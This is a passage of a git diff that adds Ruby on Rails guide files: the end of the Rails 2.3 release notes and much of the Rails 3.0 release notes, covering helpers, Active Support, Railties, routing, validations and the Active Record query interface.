+  <option value="Baseball Cap">Baseball Cap</option>
+  <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
+</optgroup>
+```
+
+### Disabled Option Tags for Form Select Helpers
+
+The form select helpers (such as `select` and `options_for_select`) now support a `:disabled` option, which can take a single value or an array of values to be disabled in the resulting tags:
+
+```ruby
+select(:post, :category, Post::CATEGORIES, :disabled => 'private')
+```
+
+returns
+
+```html
+<select name="post[category]">
+<option>story</option>
+<option>joke</option>
+<option>poem</option>
+<option disabled="disabled">private</option>
+</select>
+```
+
+You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:
+
+```ruby
+options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
+```
+
+* Lead Contributor: [Tekin Suleyman](http://tekin.co.uk/)
+* More Information: [New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections](http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/)
+
+### A Note About Template Loading
+
+Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.
+
+In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your `production.rb` file:
+
+```ruby
+config.action_view.cache_template_loading = true
+```
+
+This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.
+
+### Other Action View Changes
+
+* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by `ActiveSupport::SecureRandom` rather than mucking around with session IDs.
+* `auto_link` now properly applies options (such as `:target` and `:class`) to generated e-mail links.
+* The `autolink` helper has been refactored to make it a bit less messy and more intuitive.
+* `current_page?` now works properly even when there are multiple query parameters in the URL.
+
+Active Support
+--------------
+
+Active Support has a few interesting changes, including the introduction of `Object#try`.
+
+### Object#try
+
+A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like `<%= @person.try(:name) %>`. Well, now it's baked right into Rails. As implemented in Rails, it raises `NoMethodError` on private methods and always returns `nil` if the object is nil.
+
+* More Information: [try()](http://ozmm.org/posts/try.html)
+
+### Object#tap Backport
+
+`Object#tap` is an addition to [Ruby 1.9](http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309) and 1.8.7 that is similar to the `returning` method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
+
+### Swappable Parsers for XMLmini
+
+The support for XML parsing in Active Support has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:
+
+```ruby
+XmlMini.backend = 'LibXML'
+```
+
+* Lead Contributor: [Bart ten Brinke](http://www.movesonrails.com/)
+* Lead Contributor: [Aaron Patterson](http://tenderlovemaking.com/)
+
+### Fractional seconds for TimeWithZone
+
+The `Time` and `TimeWithZone` classes include an `xmlschema` method to return the time in an XML-friendly string. As of Rails 2.3, `TimeWithZone` supports the same argument for specifying the number of digits in the fractional second part of the returned string that `Time` does:
+
+```ruby
+>> Time.zone.now.xmlschema(6)
+=> "2009-01-16T13:00:06.13653Z"
+```
+
+* Lead Contributor: [Nicholas Dainty](http://www.workingwithrails.com/person/13536-nicholas-dainty)
+
+### JSON Key Quoting
+
+If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.
+
+### Other Active Support Changes
+
+* You can use `Enumerable#none?` to check that none of the elements match the supplied block.
+* If you're using Active Support [delegates](http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/) the new `:allow_nil` option lets you return `nil` instead of raising an exception when the target object is nil.
+* `ActiveSupport::OrderedHash`: now implements `each_key` and `each_value`.
+* `ActiveSupport::MessageEncryptor` provides a simple way to encrypt information for storage in an untrusted location (like cookies).
+* Active Support's `from_xml` no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
+* If you memoize a private method, the result will now be private.
+* `String#parameterize` accepts an optional separator: `"Quick Brown Fox".parameterize('_') => "quick_brown_fox"`.
+* `number_to_phone` accepts 7-digit phone numbers now.
+* `ActiveSupport::Json.decode` now handles `\u0000` style escape sequences.
+
+Railties
+--------
+
+In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.
+
+### Rails Metal
+
+Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
+
+* More Information:
+    * [Introducing Rails Metal](http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal)
+    * [Rails Metal: a micro-framework with the power of Rails](http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m)
+    * [Metal: Super-fast Endpoints within your Rails Apps](http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html)
+    * [What's New in Edge Rails: Rails Metal](http://archives.ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal)
+
+### Application Templates
+
+Rails 2.3 incorporates Jeremy McAnally's [rg](https://github.com/jm/rg) application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the `rails` command. There's also a rake task to apply a template to an existing application:
+
+```
+rake rails:template LOCATION=~/template.rb
+```
+
+This will layer the changes from the template on top of whatever code the project already contains.
+
+* Lead Contributor: [Jeremy McAnally](http://www.jeremymcanally.com/)
+* More Info:[Rails templates](http://m.onkey.org/2008/12/4/rails-templates)
+
+### Quieter Backtraces
+
+Building on thoughtbot's [Quiet Backtrace](https://github.com/thoughtbot/quietbacktrace) plugin, which allows you to selectively remove lines from `Test::Unit` backtraces, Rails 2.3 implements `ActiveSupport::BacktraceCleaner` and `Rails::BacktraceCleaner` in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a `config/backtrace_silencers.rb` file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.
+
+### Faster Boot Time in Development Mode with Lazy Loading/Autoload
+
+Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using `autoload` to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
+
+You can also specify (by using the new `preload_frameworks` option) whether the core libraries should be autoloaded at startup. This defaults to `false` so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
+
+### rake gem Task Rewrite
+
+The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.
+
+* Lead Contributor: [David Dollar](http://www.workingwithrails.com/person/12240-david-dollar)
+
+### Other Railties Changes
+
+* The instructions for updating a CI server to build Rails have been updated and expanded.
+* Internal Rails testing has been switched from `Test::Unit::TestCase` to `ActiveSupport::TestCase`, and the Rails core requires Mocha to test.
+* The default `environment.rb` file has been decluttered.
+* The dbconsole script now lets you use an all-numeric password without crashing.
+* `Rails.root` now returns a `Pathname` object, which means you can use it directly with the `join` method to [clean up existing code](http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/) that uses `File.join`.
+* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`).
+* Rails Guides have been converted from AsciiDoc to Textile markup.
+* Scaffolded views and controllers have been cleaned up a bit.
+* `script/server` now accepts a `--path` argument to mount a Rails application from a specific path.
+* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
+* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
+
+Deprecated
+----------
+
+A few pieces of older code are deprecated in this release:
+
+* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](https://github.com/rails/irs_process_scripts/tree) plugin.
+* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](https://github.com/rails/render_component/tree/master).
+* Support for Rails components has been removed.
+* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back.
+* `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now.
+* The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect.
+* Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client.
+* `formatted_polymorphic_url` is deprecated. Use `polymorphic_url` with `:format` instead.
+* The `:http_only` option in `ActionController::Response#set_cookie` has been renamed to `:httponly`.
+* The `:connector` and `:skip_last_comma` options of `to_sentence` have been replaced by `:words_connector`, `:two_words_connector`, and `:last_word_connector` options.
+* Posting a multipart form with an empty `file_field` control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
+
+Credits
+-------
+
+Release notes compiled by [Mike Gunderloy](http://afreshcup.com). This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md
new file mode 100644
index 0000000000..517b38be07
--- /dev/null
+++ b/guides/source/3_0_release_notes.md
@@ -0,0 +1,612 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Ruby on Rails 3.0 Release Notes
+===============================
+
+Rails 3.0 is ponies and rainbows! It's going to cook you dinner and fold your laundry. You're going to wonder how life was ever possible before it arrived. It's the Best Version of Rails We've Ever Done!
+
+But seriously now, it's really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you're coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you're coming from Rails 2.x, you're going to love it too.
+
+Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It's never been a better time to be a Rails developer. Some of the highlights are:
+
+* Brand new router with an emphasis on RESTful declarations
+* New Action Mailer API modeled after Action Controller (now without the agonizing pain of sending multipart messages!)
+* New Active Record chainable query language built on top of relational algebra
+* Unobtrusive JavaScript helpers with drivers for Prototype, jQuery, and more coming (end of inline JS)
+* Explicit dependency management with Bundler
+
+On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices.
+
+These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/3-0-stable) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+To install Rails 3:
+
+```bash
+# Use sudo if your setup requires it
+$ gem install rails
+```
+
+
+Upgrading to Rails 3
+--------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes:
+
+### Rails 3 requires at least Ruby 1.8.7
+
+Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.
+
+### Rails Application object
+
+As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to `config/environment.rb` from the previous versions of Rails.
+
+Each Rails application now must have a corresponding application object. The application object is defined in `config/application.rb`. If you're upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from `config/environment.rb` to `config/application.rb`.
+
+### script/* replaced by script/rails
+
+The new `script/rails` replaces all the scripts that used to be in the `script` directory. You do not run `script/rails` directly though, the `rails` command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is:
+
+```bash
+$ rails console                      # instead of script/console
+$ rails g scaffold post title:string # instead of script/generate scaffold post title:string
+```
+
+Run `rails --help` for a list of all the options.
+
+### Dependencies and config.gem
+
+The `config.gem` method is gone and has been replaced by using `bundler` and a `Gemfile`, see [Vendoring Gems](#vendoring-gems) below.
+
+### Upgrade Process
+
+To help with the upgrade process, a plugin named [Rails Upgrade](https://github.com/rails/rails_upgrade) has been created to automate part of it.
+
+Simply install the plugin, then run `rake rails:upgrade:check` to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a `Gemfile` based on your current `config.gem` calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following:
+
+```bash
+$ ruby script/plugin install git://github.com/rails/rails_upgrade.git
+```
+
+You can see an example of how that works at [Rails Upgrade is now an Official Plugin](http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin)
+
+Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!
+
+Creating a Rails 3.0 application
+--------------------------------
+
+```bash
+# You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/bundler/bundler) which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: - [bundler homepage](http://bundler.io/)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command, so `rake freeze` is no longer relevant and has been dropped.
+
+If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```bash
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```bash
+$ ruby /path/to/rails/bin/rails new myapp --dev
+```
+
+Rails Architectural Changes
+---------------------------
+
+There are six major changes in the architecture of Rails.
+
+### Railties Restrung
+
+Railties was updated to provide a consistent plugin API for the entire Rails framework as well as a total rewrite of generators and the Rails bindings, the result is that developers can now hook into any significant stage of the generators and application framework in a consistent, defined manner.
+
+### All Rails core components are decoupled
+
+With the merge of Merb and Rails, one of the big jobs was to remove the tight coupling between Rails core components. This has now been achieved, and all Rails core components are now using the same API that you can use for developing plugins. This means any plugin you make, or any core component replacement (like DataMapper or Sequel) can access all the functionality that the Rails core components have access to and extend and enhance at will.
+
+More information: - [The Great Decoupling](http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/)
+
+
+### Active Model Abstraction
+
+Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.
+
+More information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/)
+
+
+### Controller Abstraction
+
+Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of `AbstractController` allowed `ActionController` and `ActionMailer` to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.
+
+More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/)
+
+
+### Arel Integration
+
+[Arel](https://github.com/brynary/arel) (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record.
+
+More information: - [Why I wrote Arel](https://web.archive.org/web/20120718093140/http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/)
+
+
+### Mail Extraction
+
+Action Mailer ever since its beginnings has had monkey patches, pre parsers and even delivery and receiver agents, all in addition to having TMail vendored in the source tree. Version 3 changes that with all email message related functionality abstracted out to the [Mail](https://github.com/mikel/mail) gem. This again reduces code duplication and helps create definable boundaries between Action Mailer and the email parser.
+
+More information: - [New Action Mailer API in Rails 3](http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3)
+
+
+Documentation
+-------------
+
+The documentation in the Rails tree is being updated with all the API changes, additionally, the [Rails Edge Guides](http://edgeguides.rubyonrails.org/) are being updated one by one to reflect the changes in Rails 3.0. The guides at [guides.rubyonrails.org](http://guides.rubyonrails.org/) however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).
+
+More Information: - [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects)
+
+
+Internationalization
+--------------------
+
+A large amount of work has been done with I18n support in Rails 3, including the latest [I18n](https://github.com/svenfuchs/i18n) gem supplying many speed improvements.
+
+* I18n for any object - I18n behavior can be added to any object by including `ActiveModel::Translation` and `ActiveModel::Validations`. There is also an `errors.messages` fallback for translations.
+* Attributes can have default translations.
+* Form Submit Tags automatically pull the correct status (Create or Update) depending on the object status, and so pull the correct translation.
+* Labels with I18n also now work by just passing the attribute name.
+
+More Information: - [Rails 3 I18n changes](http://blog.plataformatec.com.br/2010/02/rails-3-i18n-changes/)
+
+
+Railties
+--------
+
+With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible:
+
+* Each application now has its own name space, application is started with `YourAppName.boot` for example, makes interacting with other applications a lot easier.
+* Anything under `Rails.root/app` is now added to the load path, so you can make `app/observers/user_observer.rb` and Rails will load it without any modifications.
+* Rails 3.0 now provides a `Rails.config` object, which provides a central repository of all sorts of Rails wide configuration options.
+
+    Application generation has received extra flags allowing you to skip the installation of test-unit, Active Record, Prototype and Git. Also a new `--dev` flag has been added which sets the application up with the `Gemfile` pointing to your Rails checkout (which is determined by the path to the `rails` binary). See `rails --help` for more info.
+
+Railties generators got a huge amount of attention in Rails 3.0, basically:
+
+* Generators were completely rewritten and are backwards incompatible.
+* Rails templates API and generators API were merged (they are the same as the former).
+* Generators are no longer loaded from special paths anymore, they are just found in the Ruby load path, so calling `rails generate foo` will look for `generators/foo_generator`.
+* New generators provide hooks, so any template engine, ORM, test framework can easily hook in.
+* New generators allow you to override the templates by placing a copy at `Rails.root/lib/templates`.
+* `Rails::Generators::TestCase` is also supplied so you can create your own generators and test them.
+
+Also, the views generated by Railties generators had some overhaul:
+
+* Views now use `div` tags instead of `p` tags.
+* Scaffolds generated now make use of `_form` partials, instead of duplicated code in the edit and new views.
+* Scaffold forms now use `f.submit` which returns "Create ModelName" or "Update ModelName" depending on the state of the object passed in.
+
+Finally a couple of enhancements were added to the rake tasks:
+
+* `rake db:forward` was added, allowing you to roll forward your migrations individually or in groups.
+* `rake routes CONTROLLER=x` was added allowing you to just view the routes for one controller.
+
+Railties now deprecates:
+
+* `RAILS_ROOT` in favor of `Rails.root`,
+* `RAILS_ENV` in favor of `Rails.env`, and
+* `RAILS_DEFAULT_LOGGER` in favor of `Rails.logger`.
+
+`PLUGIN/rails/tasks`, and `PLUGIN/tasks` are no longer loaded all tasks now must be in `PLUGIN/lib/tasks`.
+
+More information:
+
+* [Discovering Rails 3 generators](http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators)
+* [The Rails Module (in Rails 3)](http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/)
+
+Action Pack
+-----------
+
+There have been significant internal and external changes in Action Pack.
+
+
+### Abstract Controller
+
+Abstract Controller pulls out the generic parts of Action Controller into a reusable module that any library can use to render templates, render partials, helpers, translations, logging, any part of the request response cycle. This abstraction allowed `ActionMailer::Base` to now just inherit from `AbstractController` and just wrap the Rails DSL onto the Mail gem.
+
+It also provided an opportunity to clean up Action Controller, abstracting out what could to simplify the code.
+
+Note however that Abstract Controller is not a user facing API, you will not run into it in your day to day use of Rails.
+
+More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/)
+
+
+### Action Controller
+
+* `application_controller.rb` now has `protect_from_forgery` on by default.
+* The `cookie_verifier_secret` has been deprecated and now instead it is assigned through `Rails.application.config.cookie_secret` and moved into its own file: `config/initializers/cookie_verification_secret.rb`.
+* The `session_store` was configured in `ActionController::Base.session`, and that is now moved to `Rails.application.config.session_store`. Defaults are set up in `config/initializers/session_store.rb`.
+* `cookies.secure` allowing you to set encrypted values in cookies with `cookie.secure[:key] => value`.
+* `cookies.permanent` allowing you to set permanent values in the cookie hash `cookie.permanent[:key] => value` that raise exceptions on signed values if verification failures.
+* You can now pass `:notice => 'This is a flash message'` or `:alert => 'Something went wrong'` to the `format` call inside a `respond_to` block. The `flash[]` hash still works as previously.
+* `respond_with` method has now been added to your controllers simplifying the venerable `format` blocks.
+* `ActionController::Responder` added allowing you flexibility in how your responses get generated.
+
+Deprecations:
+
+* `filter_parameter_logging` is deprecated in favor of `config.filter_parameters << :password`.
+
+More Information:
+
+* [Render Options in Rails 3](https://blog.engineyard.com/2010/render-options-in-rails-3)
+* [Three reasons to love ActionController::Responder](http://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder)
+
+
+### Action Dispatch
+
+Action Dispatch is new in Rails 3.0 and provides a new, cleaner implementation for routing.
+
+* Big clean up and re-write of the router, the Rails router is now `rack_mount` with a Rails DSL on top, it is a stand alone piece of software.
+* Routes defined by each application are now name spaced within your Application module, that is:
+
+    ```ruby
+    # Instead of:
+
+    ActionController::Routing::Routes.draw do |map|
+      map.resources :posts
+    end
+
+    # You do:
+
+    AppName::Application.routes do
+      resources :posts
+    end
+    ```
+
+* Added `match` method to the router, you can also pass any Rack application to the matched route.
+* Added `constraints` method to the router, allowing you to guard routers with defined constraints.
+* Added `scope` method to the router, allowing you to namespace routes for different languages or different actions, for example:
+
+    ```ruby
+    scope 'es' do
+      resources :projects, :path_names => { :edit => 'cambiar' }, :path => 'proyecto'
+    end
+
+    # Gives you the edit action with /es/proyecto/1/cambiar
+    ```
+
+* Added `root` method to the router as a short cut for `match '/', :to => path`.
+* You can pass optional segments into the match, for example `match "/:controller(/:action(/:id))(.:format)"`, each parenthesized segment is optional.
+* Routes can be expressed via blocks, for example you can call `controller :home { match '/:action' }`.
+
+NOTE. The old style `map` commands still work as before with a backwards compatibility layer, however this will be removed in the 3.1 release.
+
+Deprecations
+
+* The catch all route for non-REST applications (`/:controller/:action/:id`) is now commented out.
+* Routes `:path_prefix` no longer exists and `:name_prefix` now automatically adds "_" at the end of the given value.
+
+More Information:
+* [The Rails 3 Router: Rack it Up](http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/)
+* [Revamped Routes in Rails 3](https://medium.com/fusion-of-thoughts/revamped-routes-in-rails-3-b6d00654e5b0)
+* [Generic Actions in Rails 3](http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/)
+
+
+### Action View
+
+#### Unobtrusive JavaScript
+
+Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers.
+
+What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](https://github.com/rails/prototype_legacy_helper). To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example:
+
+```ruby
+form_for @post, :remote => true
+```
+
+Produces:
+
+```html
+<form action="http://host.com" id="create-post" method="post" data-remote="true">
+```
+
+#### Helpers with Blocks
+
+Helpers like `form_for` or `div_for` that insert content from a block use `<%=` now:
+
+```html+erb
+<%= form_for @post do |f| %>
+  ...
+<% end %>
+```
+
+Your own helpers of that kind are expected to return a string, rather than appending to the output buffer by hand.
+
+Helpers that do something else, like `cache` or `content_for`, are not affected by this change, they need `&lt;%` as before.
+
+#### Other Changes
+
+* You no longer need to call `h(string)` to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call `raw(string)`.
+* Helpers now output HTML 5 by default.
+* Form label helper now pulls values from I18n with a single value, so `f.label :name` will pull the `:name` translation.
+* I18n select label on should now be :en.helpers.select instead of :en.support.select.
+* You no longer need to place a minus sign at the end of a Ruby interpolation inside an ERB template to remove the trailing carriage return in the HTML output.
+* Added `grouped_collection_select` helper to Action View.
+* `content_for?` has been added allowing you to check for the existence of content in a view before rendering.
+* passing `:value => nil` to form helpers will set the field's `value` attribute to nil as opposed to using the default value
+* passing `:id => nil` to form helpers will cause those fields to be rendered with no `id` attribute
+* passing `:alt => nil` to `image_tag` will cause the `img` tag to render with no `alt` attribute
+
+Active Model
+------------
+
+Active Model is new in Rails 3.0. It provides an abstraction layer for any ORM libraries to use to interact with Rails by implementing an Active Model interface.
+
+
+### ORM Abstraction and Action Pack Interface
+
+Part of decoupling the core components was extracting all ties to Active Record from Action Pack. This has now been completed. All new ORM plugins now just need to implement Active Model interfaces to work seamlessly with Action Pack.
+
+More Information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudakatz.com/2010/01/10/activemodel-make-any-ruby-object-feel-like-activerecord/)
+
+
+### Validations
+
+Validations have been moved from Active Record into Active Model, providing an interface to validations that works across ORM libraries in Rails 3.
+
+* There is now a `validates :attribute, options_hash` shortcut method that allows you to pass options for all the validates class methods, you can pass more than one option to a validate method.
+* The `validates` method has the following options:
+    * `:acceptance => Boolean`.
+    * `:confirmation => Boolean`.
+    * `:exclusion => { :in => Enumerable }`.
+    * `:inclusion => { :in => Enumerable }`.
+    * `:format => { :with => Regexp, :on => :create }`.
+    * `:length => { :maximum => Fixnum }`.
+    * `:numericality => Boolean`.
+    * `:presence => Boolean`.
+    * `:uniqueness => Boolean`.
+
+NOTE: All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API.
+
+You can also pass in a validator object, which you can then reuse between objects that use Active Model:
+
+```ruby
+class TitleValidator < ActiveModel::EachValidator
+  Titles = ['Mr.', 'Mrs.', 'Dr.']
+  def validate_each(record, attribute, value)
+    unless Titles.include?(value)
+      record.errors[attribute] << 'must be a valid title'
+    end
+  end
+end
+```
+
+```ruby
+class Person
+  include ActiveModel::Validations
+  attr_accessor :title
+  validates :title, :presence => true, :title => true
+end
+
+# Or for Active Record
+
+class Person < ActiveRecord::Base
+  validates :title, :presence => true, :title => true
+end
+```
+
+There's also support for introspection:
+
+```ruby
+User.validators
+User.validators_on(:login)
+```
+
+More Information:
+
+* [Sexy Validation in Rails 3](http://thelucid.com/2010/01/08/sexy-validation-in-edge-rails-rails-3/)
+* [Rails 3 Validations Explained](http://lindsaar.net/2010/1/31/validates_rails_3_awesome_is_true)
+
+
+Active Record
+-------------
+
+Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.
+
+
+### Query Interface
+
+Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together:
+
+* `where` - provides conditions on the relation, what gets returned.
+* `select` - choose what attributes of the models you wish to have returned from the database.
+* `group` - groups the relation on the attribute supplied.
+* `having` - provides an expression limiting group relations (GROUP BY constraint).
+* `joins` - joins the relation to another table.
+* `clause` - provides an expression limiting join relations (JOIN constraint).
+* `includes` - includes other relations pre-loaded.
+* `order` - orders the relation based on the expression supplied.
+* `limit` - limits the relation to the number of records specified.
+* `lock` - locks the records returned from the table.
+* `readonly` - returns an read only copy of the data.
+* `from` - provides a way to select relationships from more than one table.
+* `scope` - (previously `named_scope`) return relations and can be chained together with the other relation methods.
+* `with_scope` - and `with_exclusive_scope` now also return relations and so can be chained.
+* `default_scope` - also works with relations.
+
+More Information:
+
+* [Active Record Query Interface](http://m.onkey.org/2010/1/22/active-record-query-interface)
+* [Let your SQL Growl in Rails 3](http://hasmanyquestions.wordpress.com/2010/01/17/let-your-sql-growl-in-rails-3/)
+
+
+### Enhancements
+
+* Added `:destroyed?` to Active Record objects.
+* Added `:inverse_of` to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database.
+
+
+### Patches and Deprecations
+
+Additionally, many fixes in the Active Record branch:
+
+* SQLite 2 support has been dropped in favor of SQLite 3.
+* MySQL support for column order.
+* PostgreSQL adapter has had its `TIME ZONE` support fixed so it no longer inserts incorrect values.
+* Support multiple schemas in table names for PostgreSQL.
+* PostgreSQL support for the XML data type column.
+* `table_name` is now cached.
+* A large amount of work done on the Oracle adapter as well with many bug fixes.
+
+As well as the following deprecations:
+
